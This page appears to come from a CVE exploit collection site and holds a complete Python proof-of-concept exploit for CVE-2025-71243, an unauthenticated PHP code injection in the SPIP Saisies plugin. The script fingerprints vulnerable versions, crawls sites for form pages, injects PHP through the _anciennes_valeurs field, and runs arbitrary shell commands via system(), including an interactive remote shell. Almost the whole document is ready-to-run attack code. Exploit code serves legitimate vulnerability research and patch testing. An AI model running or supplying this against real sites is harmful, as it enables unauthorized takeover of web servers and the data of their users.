4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2025-71243 - SPIP Saisies Plugin RCE

Unauthenticated PHP code injection via the _anciennes_valeurs parameter.
The saisies plugin (5.4.0 through 5.11.0) interpolates raw user input into
a template rendered with interdire_scripts=false, giving direct PHP execution.

The target must have a publicly accessible page containing a saisies-powered
form (most commonly created with the Formidable plugin). Use --crawl to
automatically discover such pages by following internal links.

Usage:
    python3 exploit.py -u http://target/spip.php?page=contact --check
    python3 exploit.py -u http://target/spip.php?page=contact -c "id"
    python3 exploit.py -u http://target --crawl -c "id"
"""

import argparse
import base64
import re
import sys
import urllib.parse
from html.parser import HTMLParser

import requests

requests.packages.urllib3.disable_warnings()

BANNER = """
  CVE-2025-71243 - SPIP Saisies RCE
  Unauthenticated PHP code injection via _anciennes_valeurs
"""


class LinkExtractor(HTMLParser):
    """Extract all href attributes from anchor tags."""

    def __init__(self):
        super().__init__()
        self.links = []

    def handle_starttag(self, tag, attrs):
        if tag == "a":
            for k, v in attrs:
                if k == "href" and v:
                    self.links.append(v)


class Exploit:
    """CVE-2025-71243 exploit targeting the SPIP Saisies plugin."""

    PARAM = "_anciennes_valeurs"
    MARKER = "CVE202571243"
    ASSET_RE = re.compile(r"\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml)(\?|$)")
    OUTPUT_RE = re.compile(r"value='x' />(.*?)<input value='x'", re.DOTALL)
    VULN_RANGE = ("5.4.0", "5.11.0")
    PLUGIN_RE = re.compile(r"saisies\((\d+(?:\.\d+)+)\)")

    def __init__(self, proxy: str | None = None):
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}

    def _get(self, url: str, timeout: int = 10) -> requests.Response:
        return self.session.get(url, timeout=timeout)

    def _post(self, url: str, data: dict, timeout: int = 30) -> requests.Response:
        return self.session.post(url, data=data, timeout=timeout)

    def _origin(self, url: str) -> str:
        p = urllib.parse.urlparse(url)
        return f"{p.scheme}://{p.netloc}"

    def _has_form(self, html: str) -> bool:
        return self.PARAM in html

    def _inject(self, php_code: str) -> str:
        return f"x' /><?php {php_code} ?><input value='x"

    def _extract_output(self, html: str) -> str:
        m = self.OUTPUT_RE.search(html)
        return m.group(1).strip() if m else ""

    def detect_saisies(self, base_url: str) -> str | None:
        """Check if saisies plugin is installed and return its version.

        Uses the Composed-By header and /local/config.txt which list all
        active plugins with their versions (e.g. saisies(5.11.0)).
        """
        origin = self._origin(base_url)
        try:
            r = self._get(f"{origin}/spip.php", timeout=10)
        except requests.RequestException:
            return None

        # Check Composed-By header first
        composed = r.headers.get("Composed-By", "")
        m = self.PLUGIN_RE.search(composed)
        if m:
            return m.group(1)

        # Follow config.txt URL from header, or try default path
        config_url = f"{origin}/local/config.txt"
        if "config.txt" in composed:
            url_match = re.search(r"(https?://\S+/local/config\.txt)", composed)
            if url_match:
                config_url = url_match.group(1)

        try:
            r = self._get(config_url, timeout=5)
            if r.status_code == 200:
                m = self.PLUGIN_RE.search(r.text)
                if m:
                    return m.group(1)
        except requests.RequestException:
            pass

        return None

    @staticmethod
    def _version_tuple(v: str) -> tuple[int, ...]:
        return tuple(int(x) for x in v.split("."))

    def is_vulnerable_version(self, version: str) -> bool:
        """Check if version falls within the vulnerable range."""
        v = self._version_tuple(version)
        return self._version_tuple(self.VULN_RANGE[0]) <= v <= self._version_tuple(self.VULN_RANGE[1])

    def _extract_links(self, html: str, base_url: str, origin: str) -> list[str]:
        """Extract internal links from HTML, filtering out assets."""
        parser = LinkExtractor()
        try:
            parser.feed(html)
        except Exception:
            return []
        links = []
        for link in parser.links:
            full = urllib.parse.urljoin(base_url, link)
            if full.startswith(origin) and not self.ASSET_RE.search(full):
                links.append(full)
        return links

    def crawl(self, start_url: str, max_pages: int = 500) -> str | None:
        """Crawl from start_url, starting with the SPIP sitemap (plan)."""
        origin = self._origin(start_url)
        seen = set()
        queue = []

        # Seed with the sitemap page first, then the start URL
        plan_url = f"{origin}/spip.php?page=plan"
        try:
            r = self._get(plan_url, timeout=10)
            if r.status_code == 200:
                queue.extend(self._extract_links(r.text, plan_url, origin))
                seen.add(plan_url)
        except requests.RequestException:
            pass
        queue.append(start_url)

        while queue and len(seen) < max_pages:
            url = queue.pop(0)
            if url in seen:
                continue
            seen.add(url)

            try:
                r = self._get(url, timeout=5)
            except requests.RequestException:
                continue

            if self._has_form(r.text):
                return url

            for link in self._extract_links(r.text, url, origin):
                if link not in seen:
                    queue.append(link)

        return None

    def check(self, url: str) -> bool:
        """Confirm RCE by injecting a PHP echo marker."""
        payload = self._inject(f"echo '{self.MARKER}';")
        r = self._post(url, data={self.PARAM: payload})
        return self.MARKER in r.text

    def execute(self, url: str, cmd: str) -> str:
        """Execute a shell command and return its output."""
        b64 = base64.b64encode(cmd.encode()).decode()
        payload = self._inject(f"system(base64_decode('{b64}'));")
        r = self._post(url, data={self.PARAM: payload})
        return self._extract_output(r.text)

    def shell(self, url: str) -> None:
        """Interactive shell loop."""
        print("[*] Shell ready. Type 'exit' to quit.\n")
        while True:
            try:
                cmd = input("$ ").strip()
            except (EOFError, KeyboardInterrupt):
                print()
                break
            if not cmd or cmd == "exit":
                break
            output = self.execute(url, cmd)
            if output:
                print(output)


def main():
    print(BANNER)

    p = argparse.ArgumentParser(description="CVE-2025-71243 - SPIP Saisies RCE")
    p.add_argument("-u", "--url", required=True,
                   help="Target URL (form page, or base URL with --crawl)")
    p.add_argument("-c", "--command", help="Single command to execute")
    p.add_argument("--check", action="store_true", help="Only check vulnerability")
    p.add_argument("--crawl", action="store_true",
                   help="Crawl the site to discover a saisies form")
    p.add_argument("--proxy", help="HTTP proxy (http://host:port)")
    args = p.parse_args()

    exploit = Exploit(proxy=args.proxy)
    url = args.url

    # Detect saisies plugin before crawling
    version = exploit.detect_saisies(url)
    if version:
        if exploit.is_vulnerable_version(version):
            print(f"[+] Saisies plugin detected: v{version} (vulnerable)")
        else:
            print(f"[-] Saisies plugin detected: v{version} (not vulnerable)")
            sys.exit(1)
    else:
        print("[*] Saisies plugin not detected via Composed-By/config.txt")

    if args.crawl:
        print(f"[*] Crawling {url} ...")
        found = exploit.crawl(url)
        if not found:
            print("[-] No saisies form found on target.")
            sys.exit(1)
        print(f"[+] Found form: {found}")
        url = found
    else:
        print(f"[*] Target: {url}")

    if not exploit.check(url):
        print("[-] Not vulnerable or no saisies form at this URL.")
        sys.exit(1)

    print("[+] Vulnerable!")

    if args.check:
        sys.exit(0)

    if args.command:
        print(exploit.execute(url, args.command))
        sys.exit(0)

    exploit.shell(url)


if __name__ == "__main__":
    main()